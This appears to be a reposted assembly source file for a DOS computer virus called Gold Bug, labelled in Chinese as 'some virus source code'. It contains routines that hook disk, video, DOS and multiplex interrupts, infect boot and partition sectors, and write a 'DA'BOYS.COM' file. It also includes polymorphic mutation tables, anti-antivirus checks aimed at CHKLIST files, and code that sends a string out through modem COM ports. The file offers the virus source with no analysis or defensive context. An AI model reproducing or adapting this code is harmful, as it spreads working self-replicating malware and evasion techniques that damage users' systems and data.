gold-bug.asm

一些病毒源代码

		ELSE
		mov	dx,NO_OF_COM_PORTS
		ENDIF
scan_coms:	dec	dx
		js	no_more_coms
		mov	ax,GET_PORT_STATUS
		int	SERIAL_INT
		xor	al,DELTA_RI+CTS+DSR
		and	al,DELTA_RI+CTS+DSR+CD
		jnz	scan_coms
		mov	si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET
		mov	cl,STRING_LENGTH
output_data:	lods	byte ptr cs:[si]
		mov	ah,high(WRITE_TO_PORT)
		int	SERIAL_INT
		loop	output_data
		ENDIF
no_more_coms:	IF	MULTIPARTITE
		mov	cl,EXE_HEADER_SIZE
		mov	ah,high(READ_W_HANDLE)
                cwd
		int	INT_21_IS_NOW
		xor	cx,cx
                ELSE
                xor	dx,dx
		ENDIF
		mov	ax,LSEEK_TO_END
		int	INT_21_IS_NOW
		IF	MULTIPARTITE
		IF	POLYMORPHIC
		mov	word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax
		ELSE
		mov	word ptr cs:[file_length+ONE_BYTE+RELATIVE_OFFSET],ax
		ENDIF
		ENDIF
		inc	ah
		cmp	ax,MIN_FILE_SIZE+PSP_SIZE
		adc	dx,cx
		mov	si,dx
		IF	SAME_FILE_DATE
		mov	ax,GET+FILE_DATE_TIME
do_int21_close:	int	INT_21_IS_NOW
		ENDIF
force_close:	mov	ah,high(CLOSE_HANDLE)
		int	INT_21_IS_NOW
more_returns:	ret
open_close_file	endp

;-----------------------------------------------------------------------------

full_move_w_si	proc	near
		IF	POLYMORPHIC
swap_incbx_bl:	xor	word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR
		org	$-REMOVE_NOP
		xor	byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR
		org	$-REMOVE_NOP
		ENDIF
		stc
full_move_w_di:	mov	di,RES_OFFSET
full_move:	call	move_code
move_code:	jc	move_some_more
		mov	si,RES_OFFSET
		IF	POLYMORPHIC
		IF	CHECK_FOR_8088
		mov	cl,ONE_NIBBLE
		ror	word ptr cs:[si+ROTATED_OFFSET],cl
		org	$-REMOVE_NOP
		ELSE
		ror	word ptr cs:[si+ROTATED_OFFSET],ONE_NIBBLE
		org	$-REMOVE_NOP
		ENDIF
		ENDIF
move_some_more:	mov	cx,SECTOR_SIZE
		pushf
		cld
		rep	movs byte ptr es:[di],cs:[si]
		popf
		stc
		ret
full_move_w_si	endp

;-----------------------------------------------------------------------------

		IF	ANTI_ANTIVIRUS
		org	PART_OFFSET-ONE_BYTE
fcb_name	db	DEFAULT_DRIVE
		ENDIF

;-----------------------------------------------------------------------------

		org	PART_OFFSET
boot_code:

;-----------------------------------------------------------------------------

initialize_boot	proc	near
		IF	ANTI_ANTIVIRUS
		db	'CHKLIST????'
		cli
		push	cs
		mov	si,BOOT_OFFSET-SECTOR_SIZE
		pop	ss
		mov	sp,si
		sti
		push	cs
		org	PART_OFFSET+DESCRIPTOR_OFF
		db	high(DESCRIPTOR)
		pop	ds
		mov	cx,COM_CODE_SECTOR
		pushf
		push	cs
		push	BOOT_OFFSET
		mov	ax,READ_A_SECTOR
		ELSE
		cli
		push	cs
		mov	si,BOOT_OFFSET-SECTOR_SIZE
		pop	ss
		mov	sp,si
		sti
		pushf
		push	cs
		push	BOOT_OFFSET
		push	cs
		mov	cx,COM_CODE_SECTOR
		mov	ax,READ_A_SECTOR
		org	PART_OFFSET+DESCRIPTOR_OFF
		db	high(DESCRIPTOR)
		pop	ds
		ENDIF
		push	cs
		pop	es
dh_value:	mov	dx,NULL
		mov	bx,dx
		xor	dh,al
		shr	dx,1
		mov	dh,bh
		push	dx
		mov	bx,si
		push	ax
		int	DISK_INT
		pop	ax
		mov	di,VIDEO_INT_ADDR
		mov	bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE
		call	get_n_set_int+ONE_BYTE
		mov	bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET
		cmp	dx,LOW_JMP_10
		je	try_this_out
		cmp	byte ptr ds:[VIDEO_MODE],MONOCHROME
		jae	try_this_out
		mov	di,DISK_INT_ADDR
		IF	MULTIPARTITE
		call	set_both_ints
		ELSE
		mov	bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
		call	get_n_set_int+ONE_BYTE
		mov	bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
		call	set_interrupt
		ENDIF
		mov	ch,high(COLOR_VIDEO_MEM)
		mov	bx,offset high_code+RELATIVE_OFFSET
try_this_out:	push	cx
		push	bx
		mov	es,cx
		call	full_move_w_si
		retf
initialize_boot	endp

;-----------------------------------------------------------------------------

high_code	proc	near
		mov	dx,offset int_10_start+RELATIVE_OFFSET
		mov	bx,LOW_JMP_10-FAR_JUMP_OFFSET
		call	set_int_10_21
		mov	bx,VIDEO_INT_ADDR-SET_INT_OFFSET
low_code:	mov	es,cx
		mov	cl,OLD_BOOT_SECTOR
		mov	dx,LOW_JMP_10
		call	set_interrupt
		mov	bx,BOOT_OFFSET
		pop	dx
		int	DISK_INT
		xor	dh,dh
		mov	cl,BOOT_SECTOR
		mov	ax,WRITE_A_SECTOR
high_code	endp

;-----------------------------------------------------------------------------

interrupt_13	proc	far
int_13_start:	IF	MULTIPARTITE
		mov	byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl
		ENDIF
		cmp	cx,BOOT_SECTOR
		jne	no_boot_sector
		cmp	ah,high(READ_A_SECTOR)
		jne	no_boot_sector
		cmp	dx,HD_0_HEAD_0
		jbe	reread_boot
no_boot_sector:	int	NEW_INT_13_LOOP
		jmp	short return_far
reread_boot:	int	NEW_INT_13_LOOP
		jc	return_far
		pusha
		push	ds
		push	es
		pop	ds
check_old_boot:	mov	ax,READ_A_SECTOR
		xor	dh,dh
		mov	cl,OLD_BOOT_SECTOR
		IF	ANTI_ANTIVIRUS
		cmp	word ptr ds:[bx],'HC'
		ELSE
		cmp	word ptr ds:[bx],CLI_PUSHCS
		ENDIF
		je	read_old_boot
		test	dl,USING_HARD_DISK
		jnz	encode_hd
		cmp	word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR
		jne	time_to_leave
		mov	dh,al
		pusha
		int	NEW_INT_13_LOOP
		cmp	byte ptr ds:[bx],ch
		popa
		pushf
		pusha
		xor	dh,dh
		mov	cl,al
		int	NEW_INT_13_LOOP
		popa
		popf
		jne	time_to_leave
encode_hd:	mov	ah,high(WRITE_A_SECTOR)
		push	ax
		int	NEW_INT_13_LOOP
		pop	ax
		jc	time_to_leave
		mov	di,bx
		call	move_code
		mov	cl,COM_CODE_SECTOR
		IF	POLYMORPHIC
		xor	byte ptr ds:[bx+XOR_SWAP_OFFSET],dh
		org	$-REMOVE_NOP
		jo	dont_flip_it
		xchg	word ptr ds:[bx+ROTATED_OFFSET],ax
		org	$-REMOVE_NOP
		xchg	ah,al
		xchg	word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax
		org	$-REMOVE_NOP
		xchg	word ptr ds:[bx+ROTATED_OFFSET],ax
		org	$-REMOVE_NOP
		ENDIF
dont_flip_it:	pusha
		int	NEW_INT_13_LOOP
		popa
		mov	di,bx
		call	move_some_more
		mov	byte ptr ds:[bx+DH_OFFSET],dh
		org	$-REMOVE_NOP
		mov	dh,cl
		inc	cx
		int	NEW_INT_13_LOOP
		jmp	short check_old_boot
read_old_boot:	mov	dh,byte	ptr ds:[bx+DH_OFFSET]
		org	$-REMOVE_NOP
		int	NEW_INT_13_LOOP
time_to_leave:	pop	ds
		popa
		clc
return_far:	retf	KEEP_CF_INTACT
interrupt_13	endp

;-----------------------------------------------------------------------------

interrupt_2f	proc	far
		pusha
		push	ds
		push	es
		push	offset return_to_2f+RELATIVE_OFFSET
		xor	cx,cx
		mov	ds,cx
		mov	bx,SAVE_INT_CHAIN-SET_INT_OFFSET
		cmp	ax,WINDOWS_END
		jne	try_another
		les	dx,dword ptr ds:[bx+SET_INT_OFFSET]
		jmp	short set_13_chain
try_another:	cmp	ax,WINDOWS_BEGIN
		jne	another_return
		mov	di,VIRGIN_INT_13_B
		call	get_n_set_int+ONE_BYTE
		les	dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL]
set_13_chain:	mov	ax,READ_A_SECTOR
		call	get_set_part
		mov	bx,VIRGIN_INT_13_B-SET_INT_OFFSET
		call	set_interrupt
		mov	bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET)
		call	set_interrupt
		mov	ah,high(WRITE_A_SECTOR)
interrupt_2f	endp

;-----------------------------------------------------------------------------

get_set_part	proc	near
		pusha
		push	es
		mov	bx,SCRATCH_AREA
		mov	es,bx
		mov	dx,HD_0_HEAD_0
		inc	cx
		int	NEW_INT_13_LOOP
		mov	ax,READ_A_SECTOR
		int	DISK_INT
		pop	es
		popa
another_return:	ret
get_set_part	endp

;-----------------------------------------------------------------------------

return_to_2f	proc	near
		pop	es
		pop	ds
		popa
		jmp	far ptr	original_2f_jmp
return_to_2f	endp

;-----------------------------------------------------------------------------

interrupt_10	proc	far
int_10_start:	pushf
		pusha
		push	ds
		push	es
		push	offset a_return+RELATIVE_OFFSET
from_com_code:	xor	bx,bx
		mov	ds,bx
		or	ah,ah
		jz	set_10_back
		mov	ax,QUERY_FREE_HMA
		int	MULTIPLEX_INT
		cmp	bh,high(MIN_FILE_SIZE+SECTOR_SIZE)
		jb	another_return
		mov	ax,ALLOCATE_HMA
		int	MULTIPLEX_INT
		clc
		call	full_move_w_di
		mov	dx,offset int_13_start+RELATIVE_OFFSET
		call	set_13_chain
		mov	bx,VIRGIN_INT_2F-SET_INT_OFFSET
		mov	dx,offset interrupt_2f+RELATIVE_OFFSET
		call	set_interrupt
		cmp	word ptr ds:[LOW_JMP_10],cx
		je	set_10_back
		push	es
		push	es
		mov	di,DOS_INT_ADDR
		mov	bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET
		call	get_n_set_int+ONE_BYTE
		pop	ds
		mov	bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE
		call	set_interrupt
		mov	ds,cx
		mov	ax,DOS_SET_INT+DOS_INT
		mov	dx,LOW_JMP_21
		int	INT_21_IS_NOW
		pop	es
		mov	bx,dx
		mov	dx,offset interrupt_21+RELATIVE_OFFSET
		mov	word ptr ds:[bx],0b450h
		mov	word ptr ds:[bx+TWO_BYTES],0cd19h
		mov	word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW
		call	set_int_10_21
set_10_back:	mov	di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE
		mov	bx,LOW_JMP_10-FAR_JUMP_OFFSET
interrupt_10	endp

;-----------------------------------------------------------------------------

get_n_set_int	proc	near
		les	dx,dword ptr cs:[di]
		jmp	short set_interrupt
set_int_10_21:	mov	byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP
set_interrupt:	mov	word ptr ds:[bx+SET_INT_OFFSET],dx
		mov	word ptr ds:[bx+CHANGE_SEG_OFF],es
		ret
get_n_set_int	endp

;-----------------------------------------------------------------------------

		IF	MULTIPARTITE
set_both_ints	proc	near
		mov	bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
		call	get_n_set_int+ONE_BYTE
		mov	bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
		jmp	short set_interrupt
set_both_ints	endp
		ENDIF

;-----------------------------------------------------------------------------

		IF	EXECUTE_SPAWNED
exec_table	db	COMMAND_LINE,FIRST_FCB,SECOND_FCB
		ENDIF

;-----------------------------------------------------------------------------

		IF	MODEM_CODE
		org	PART_OFFSET+001f3h
string		db	CR,'1O7=0SLMTA'
		ENDIF

;-----------------------------------------------------------------------------

		org	PART_OFFSET+SECTOR_SIZE-TWO_BYTES
partition_sig	dw	0aa55h

;-----------------------------------------------------------------------------

		org	PART_OFFSET+SECTOR_SIZE+TWO_BYTES
file_name	db	'DA',027h,'BOYS.COM',NULL

;-----------------------------------------------------------------------------

		org	PARAMETER_TABLE
		dw	NULL,NULL,NULL,NULL,NULL,NULL,NULL
		db	NULL

;-----------------------------------------------------------------------------

		IFE	MULTIPARTITE
boot_load	proc	near
		push	cs
		pop	es
		call	full_move_w_si
		mov	ds,cx
		cmp	cx,word	ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
		jne	dont_set_intcd
		lds	dx,dword ptr ds:[VIRGIN_INT_13_B]
		mov	ax,DOS_SET_INT+NEW_INT_13_LOOP
		int	DOS_INT
dont_set_intcd:	mov	ah,high(GET_DEFAULT_DR)
		int	DOS_INT
		call	from_com_code+RELATIVE_OFFSET
		mov	ax,TERMINATE_W_ERR
		int	DOS_INT
boot_load	endp
		ENDIF

;-----------------------------------------------------------------------------

		IF	POLYMORPHIC
load_it		proc	near
		mov	word ptr ds:[si],FILE_SIGNATURE
		mov	byte ptr ds:[si+TWO_BYTES],FIRST_UNDO_OFF
		push	bx
		xor	ax,ax
		cli
		out	043h,al
		in	al,040h
		mov	ah,al
		in	al,040h
		sti
		push	ax
		and	ax,0001eh
		mov	bx,ax
		mov	ax,word	ptr ds:[bx+two_byte_table]
		mov	word ptr ds:[si+ROTATED_OFFSET+TWO_BYTES],ax
		org	$-REMOVE_NOP
		pop	ax
		and	ax,003e0h
		mov	cl,FIVE_BITS
		shr	ax,cl
		mov	bx,ax
		mov	al,byte	ptr ds:[bx+one_byte_table]
		xor	al,low(INC_BL)
		mov	byte ptr ds:[swap_incbx_bl+THREE_BYTES],al
		pop	bx
		jmp	com_start
load_it		endp

;-----------------------------------------------------------------------------

two_byte_table:	mov	al,0b2h
		xor	al,0b4h
		and	al,0d4h
		les	ax,dword ptr ds:[si]
		les	cx,dword ptr ds:[si]
		les	bp,dword ptr ds:[si]
		adc	al,0d4h
		and	al,084h
		adc	al,084h
		adc	al,024h
		add	al,084h
		add	al,014h
		add	al,024h
		test	dl,ah
		repz	stc
		repnz	stc

;-----------------------------------------------------------------------------

one_byte_table:	int	SINGLE_BYTE_INT
		into
		daa
		das
		aaa
		aas
		inc	ax
		inc	cx
		inc	dx
		inc	bp
		inc	di
		dec	ax
		dec	cx
		dec	dx
		dec	bp
		dec	di
		nop
		xchg	cx,ax
		xchg	dx,ax
		xchg	bp,ax
		xchg	di,ax
		cbw
		cwd
		lahf
		scasb
		scasw
		xlat
		repnz
		repz
		cmc
		clc
		stc
		ENDIF

;-----------------------------------------------------------------------------

gold_bug	endp
cseg		ends
end		com_code